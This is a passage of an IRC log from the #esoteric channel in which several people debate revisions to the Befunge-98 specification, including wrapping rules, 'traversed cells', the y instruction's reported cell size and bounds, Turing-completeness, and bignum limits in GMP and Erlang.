:alise!unknown@unknown.invalid PRIVMSG #esoteric :If you have multiple velocities < 1267646927 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :if you need to keep ray and wrapping ray separate < 1267646929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The ray can actually CROSS OVER ITSELF < 1267646930 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<3 < 1267646940 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Two sub-IPs collide and form one IP < 1267646943 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :With the average velocity of both < 1267646950 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This is brilliant, do not deny it < 1267646955 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :why did this make me think of ghostbusters... < 1267646968 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Don't cross the IPs! < 1267646973 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :oh right < 1267646977 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :..., Ray! < 1267647022 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so suggestion: non-wrapping ray can sometimes be useful (some fingerprints that write a 0"gnirts" into funge space, with a given delta for example) < 1267647034 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so just define wrapping and non-wrapping rays < 1267647039 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or I'll just describe this procedurally < 1267647057 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, defined wrapping yet btw? < 1267647098 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :with that, a wrapping ray would be trivial < 1267647110 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :so then defer defining ; until you defined wrapping < 1267647188 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: A suggestion: Wrapping occurs when you hit an untraversed cell: all the cells specified that aren't just spaces around like befunge-98 wrapping rule at the start are traversed, anything p'd is traversed, < 1267647193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anything leading to a traversed cell is traversed, < 1267647204 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and everything any IP has ever landed upon is traversed < 1267647220 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, that doesn't allow for bounds to shrink < 1267647220 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Leading" meaning "under the current velocity" < 1267647229 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Yes it does, it's just an optimisation < 1267647232 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :which is important wrt p with space < 1267647237 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Since runs of spaces take 0 time, < 1267647240 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, it is a correctness issue for y < 1267647241 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just set them to spaces < 1267647247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: So fix y < 1267647253 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, fix it how? < 1267647272 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Make it not cause an incorrectness issue < 1267647296 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, well since it *pushes bounds* on stack I don't see how you mean it can not depend on that < 1267647343 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Define it to be the maximum bounds ever < 1267647355 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What breaks y here? < 1267647356 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, there are good reasons not to < 1267647357 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e. the size of the region of traversed cells at its maximum at any point in the past or present < 1267647368 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Nothing < 1267647371 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Since bounds never shrink in my system < 1267647372 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, yeah < 1267647373 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, and a lot of effort went into making sure it shrunk to be current minimum bounds < 1267647378 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267647391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Any such shrinkage is just an optimisation < 1267647395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So don't expose that optimisation to y, duh < 1267647405 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, no it isn't. it is a correctness issue according to mycology < 1267647409 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :and I agree < 1267647411 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In Befunge-98 < 1267647417 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We're specifying a new language here, hellooooooooo < 1267647428 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, it is a revision of it. < 1267647436 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Where is the non-shrinkage happening < 1267647440 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :also it is nicer to have bounds be the minimum bounding box at any time < 1267647454 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, read what he suggested above < 1267647454 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You just said "wrapping occurs at point x" < 1267647459 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I did < 1267647469 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Let me specify it more precisely. < 1267647477 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :well I guess you could have two sets of bounds < 1267647488 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Much as I want to, I don't think too much can be made backwards-incompatible. < 1267647501 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This wouldn't be incompatible at all apart from some minor detail of y :-) < 1267647517 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(speaking in general, not sure what the current discussion centers around) < 1267647518 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It would still not be incompatible IMO < 1267647519 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, yep, a backwards incompat one can be made as a different language, or as a feral fingerprint < 1267647532 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(depending on the nature of the backwards incompat) < 1267647533 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You just defined the semantics of wrapping < 1267647539 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Which is invisible to everything < 1267647546 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What cells are "traversed" matters not since they're spaces < 1267647553 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, true. y bounds might be separate < 1267647569 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :An impl is allowed to allocate 4G*4G and traverse every single space if it wants to < 1267647572 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The semantics are the same < 1267647582 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267647590 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Whenever the IP would advance to an /untraversed/ cell, it instead {wrapping stuff goes here}. An untraversed cell is a cell that is not traversed. A traversed cell is a cell that satisfies one or more of the following properties: * It was in the original program source and (insert stuff here to handle extraneous spaces, using Befunge-98 rules). * It has been advanced to by an IP at some point in the program without wrapping occur < 1267647590 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :OR < 1267647597 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, how much is 4G*4G btw? < 1267647614 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :* If the IP continued on its current velocity, it would eventually reach a traversed cell without wrapping. < 1267647617 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The end. < 1267647629 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: 17-19 exabytes or so? < 1267647635 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267647645 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or "square gigabytes" if you prefer :-P < 1267647646 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: ^ < 1267647655 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, you forgot about one thing < 1267647656 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think this definition is general enough to withstand all the ferality from any fingerprint you wish. < 1267647663 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, writing a value to said cell < 1267647672 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: "It has been modified over the course of the program" < 1267647678 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Currently, 'p'ing spaces into untraversed locations doesn't change wrapping... I'm not sure if your defn does or not. It might not, but it's not obvious to me yet. < 1267647684 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, you missed out on that < 1267647688 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, your message was cut off < 1267647689 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267647690 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: k < 1267647700 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :"* It has been advanced to by an IP at some point in the program without wrapping occur" < 1267647700 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: If you p something really far away, then set off on a course towards it, you won't wrap until you hit it. < 1267647703 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, ^ < 1267647708 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, it ended there < 1267647710 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :occuring. * It has been modified over the course of the program. < 1267647714 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And then the OR, and the line after. < 1267647723 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, fix your client btw :P < 1267647753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm using webchat.freenode.net in IE on someone else's machine because there's nowhere to put my iMac because I'm at somebody else's house because of reasons out of my control. < 1267647757 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So shut up. < 1267647764 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267647768 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Erm, since Funge-98 programs can't rely on more than 4G*4G playfield, and still only have (effectively) a single stack, does this mean Befunge-98 is not TC? < 1267647779 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Eh? < 1267647791 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, befunge-98 allows larger ones < 1267647793 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Stack stack, dude < 1267647800 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :and stack-stack yes < 1267647801 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Allows, but does not guarantee. < 1267647802 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, err no < 1267647811 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, y can query size for each stack on stack stack < 1267647820 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: stack stack = single stack with markers, I think. < 1267647835 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(Didn't we have this conversation?) < 1267647837 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You can make a tape out of the stack stack using the stack stack ops. < 1267647843 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, that is an implementation detail < 1267647850 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :at least I have not implemented it like that < 1267647850 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: That would save it. < 1267647854 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: But it isn't specced that it has to be a result that meaningfully fits in a cell :-P < 1267647863 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, eh? < 1267647869 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I don't think my definition of traversable has any flaws. < 1267647881 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's basically just a refinement and formalisation of the Befunge-98 wrapping rules. < 1267647881 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: E.g. CCBI will happily push INT_MIN if you push 2 gigacells < 1267647884 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, 0y not fit on stack? < 1267647893 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Push INT_MIN for the size, I mean < 1267647896 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(In the 98 spec they're basically "It wraps like regular 2d space except not like that if you're in other dimensions. Happy/") < 1267647898 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Happy? < 1267647966 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :I think alise's suggestion might work. Of course y would need separate (always minimal) bounds < 1267647981 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: C doesn't guarantee infinite memory either, does that mean it's not TC? < 1267647989 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(except for ATHR, but that is feral so it is okay for it to say that bounds updates might take a while to propagate) < 1267648004 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I don't consider C to be TC, no. < 1267648009 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, iirc that has been discussed here < 1267648017 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: What /do/ you consider TC? :-) < 1267648044 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, iirc C is TC with file io < 1267648044 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, you may also want to add: < 1267648048 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Only languages that have infinite storage, yet have been implemented on finite computers. < 1267648060 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It's more like "does it provide an operation that could always access more memory *if* that memory was available"? Addressing memory with fixed-size pointers doesn't count. (but car and cdr do.) < 1267648067 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that a cell is also traversable if a fingerprint deems it to be so < 1267648075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(but feral fingerprints override the spec anyway, so possibly redundant?) < 1267648078 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, befunge-98 is TC then. bignum is allowed I argue < 1267648088 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Only if you use dud values for bits < 1267648091 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHich is breaking the spec < 1267648092 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Which < 1267648100 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, it doesn't forbid it either < 1267648109 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You need to push the number of bits in a cell < 1267648109 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, I mean -1 for number of bytes per cell < 1267648113 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You don't, you push -1 < 1267648116 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You violate the spec < 1267648116 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Q.E.D. < 1267648122 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, yes, but the spec doesn't forbid that either < 1267648136 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :C doesn't merely *not guarantee* infinite memory, it requires finite memory. < 1267648144 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, indeed < 1267648149 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It can be arbitrarily large, but most have a bound. < 1267648154 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. Must. < 1267648227 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: You have to push the bit width < 1267648228 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You do not < 1267648230 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That is violating the spec < 1267648235 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Simple as < 1267648243 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, no < 1267648248 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :So if I define a language with two instructions, and the meanings of both instructions are implementation-defined, then that language is TC, because it is allowed for an implementation to treat the instructions as encoding a UTM. < 1267648261 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I see. By that definition, whether Funge-98 is TC depends on what part of the spec you read ;-) < 1267648266 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, please read the spec < 1267648278 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, "1 cell containing the number of bytes per cell (global env)." < 1267648280 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :not bits < 1267648285 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Same thing < 1267648289 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A bignum does not have -1 bytes per cell < 1267648291 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, anyway, one could define bytes differently < 1267648295 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No, you can't < 1267648303 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not even cpressey would consider that reasonable < 1267648308 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, I define my bytes to be -(one bignum) < 1267648318 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just admit you're violating the spec < 1267648331 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, it's a corner case < 1267648343 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Oh, please step in and resolve this ridiculousness. < 1267648345 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :I agree on that < 1267648352 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I think we did come to the conclusion that C's file IO parts are vaguely enough defined that you can still have a conforming C implementation which has an infinite tape affixed to a file (so that you move around the tape by writing special operations into the file), and thusly make it TC, but you might not want to count that. < 1267648366 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I can't even believe anmaster_l is defending "I have -1 bytes per cell because I say the size of a byte is minus the size of one bignum." < 1267648390 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, that was tongue in cheek -_- < 1267648397 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, whooosh < 1267648409 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :All discussion about Befunge is tongue-in-cheek < 1267648420 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But you were being just as ridiculous about refusing to admit you violate the spec before < 1267648436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And, also, it wasn't funny insofar as it was the obvious thing to say, were your intention to make the most boring non-excuse there is. < 1267648438 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yes; personally I'd argue based on the incredible vagueness of "typically 4, could also be 2, 8, really really large, infinity, etc." (I mean, "etc."?), but that's not *so* convincing either. < 1267648447 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, I don't think I violate the spec. But yes 0 might be better than -1 < 1267648468 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Yes, but aside from file IO, C is required to be an FSM. < 1267648472 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm just going to defer the only person who has any actual idea about the spec. < 1267648478 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267648487 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*defer to < 1267648490 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, "aka cell size. Typically 4, could also be 2, 8, really really large, infinity, etc. " <-- yes I represent infinity as -1 here < 1267648492 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/852357 < 1267648492 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Pushing -1 for the bytes-per-cell value in y is verboten unless you actually have -1 bytes per cell. Yes? And a bignum does not take up -1 bytes per cell. < 1267648527 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: The spec says: "2. 1 cell containing the number of bytes per cell (global env). aka cell size. Typically 4, could also be 2, 8, really really large, infinity, etc." < 1267648533 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :WITHOUT SAYING HOW TO REPRESENT INFINITY < 1267648538 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, yes. < 1267648542 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But -1 isn't infinity, it's -1. < 1267648547 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's pretty obvious. < 1267648562 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(So "infinity" is just bunk there.) < 1267648566 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Do you happen to know Erlang's actual bignum format, by the way? I only know how GMP does it, and that particular library has a (surprisingly small) MAX_BIGNUM. < 1267648576 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: You should push a function that, when accessed, gives the largest number thus far used by the program + 1 < 1267648579 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, if I'm a Befunge program, with no knowledge of what could be interpreting me. < 1267648581 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :GMP has MAX_BIGNUM? < 1267648583 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wowzers. < 1267648585 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And I run y. < 1267648590 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And I look at the second cell. < 1267648595 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And I see "-1" < 1267648603 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :What am I supposed to think? < 1267648609 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, no idea actually < 1267648609 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yes; on a 32-bit system, the MAX_BIGNUM value itself takes 8 gigabytes of storage, though. It's a bit large, but definitely not infinite. < 1267648617 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"If I push values to the stack, I'll use less memory!" < 1267648618 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, nice idea < 1267648628 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Then The User will love me more!" < 1267648642 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: :-D < 1267648686 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :On a 64-bit system, the GMP MAX_BIGNUM actually takes only 16 gigabytes of storage, which is not so huge (if you compare to the addressable space); they use a signed 32-bit value as the counter of (in this case 64-bit) "limbs" of data bits. < 1267648698 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1267648704 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I would use a pointer to the last one < 1267648714 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :After all, if you can't address the last bignum you can't access it < 1267648715 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So it's foolproof < 1267648737 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, what says it must be in one sequence= < 1267648740 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :s/=/?/ < 1267648752 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :couldn't it be allocated in large chunks < 1267648759 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What? < 1267648765 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. Signed 32-bit value for a length? < 1267648777 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's retarded. Just use size_t. < 1267648783 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, if you are near filling the address space, getting area after the end of the number might be hard < 1267648784 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: The sign bit holds the sign of the actual value. < 1267648796 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ssize_t then? < 1267648798 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: x_x < 1267648799 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Just a nit: I don't like "at the edge of the world", it sounds like there's an actual edge on which you're standing, at the other side is the world and the other side nothing, but you've defined it as including that "nothing" as well < 1267648805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: not after < 1267648806 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: That's... Silly. < 1267648807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you point to the last one < 1267648818 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: And they argue that 32 bits is "large enough" and saves four bytes of space from each GMP integer. Hey, I didn't make it. < 1267648826 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: would "over the edge" be better? < 1267648826 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Which is why cpressey should use traversable cells >:( < 1267648837 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :TRAVERSAAAAAAAAAAABLLLLLLLLLLLLLLLlle < 1267648850 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I'd prefer that, yes; in my brain the "edge" is the edgemost non-marker cell < 1267648854 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: 4 bytes... Per *number*. < 1267648874 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What was that about "premature optimisation"? < 1267648888 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: But the procedure itself appears... uncontroversial? < 1267648899 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, you forgot to reflect the backtrack of the IP I think? < 1267648908 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so now it points in the wrong direction doesn't it < 1267648917 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right < 1267648919 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :maybe I misread < 1267648924 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :it's somewhat confusing that < 1267648956 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Nothing changes the delta, in this definition < 1267648961 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, ah < 1267648962 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :IMO, GMP on a 64-bit system should be theoretically capable of handling a 2^64 byte number. < 1267648976 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. 2^64-1 byte. < 1267648989 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Just that the backtrack's path is defined by the reflection of the delta < 1267649021 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Also right. < 1267649026 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: No overhead? < 1267649027 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :In that case, I think it's correct. < 1267649031 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, all I can find is http://www.erlang.org/doc/efficiency_guide/advanced.html < 1267649039 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, which includes the size of a fixnum in words < 1267649051 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :but bignum seems unlimited according to that < 1267649055 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I could buy some sort of "compatibility with the 32-bit GMP values" implementation, but they change the actual limb size from 32 to 64 bits... < 1267649061 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: >_> ... ... TRAVERSED CELLS < 1267649062 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :I'm not about to dig through beam's sources < 1267649076 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm not seeing how they add anything, yet. < 1267649084 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Is the IP the position? If not, I might say "IP's position" in at least a few places there < 1267649089 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Well, they are, I think, more precise. < 1267649097 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, how so? < 1267649098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So fingerprints can do more Funky Stuff without breaking it < 1267649111 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Yes, well, "It is implementation-dependent how much memory the Erlang data types and other items consume"; you could argue that the Erlang-language is capable of having "real" bignums therefore. < 1267649119 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, remember cpressey decided to not define unefunge/trefunge in 111 any more < 1267649125 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric 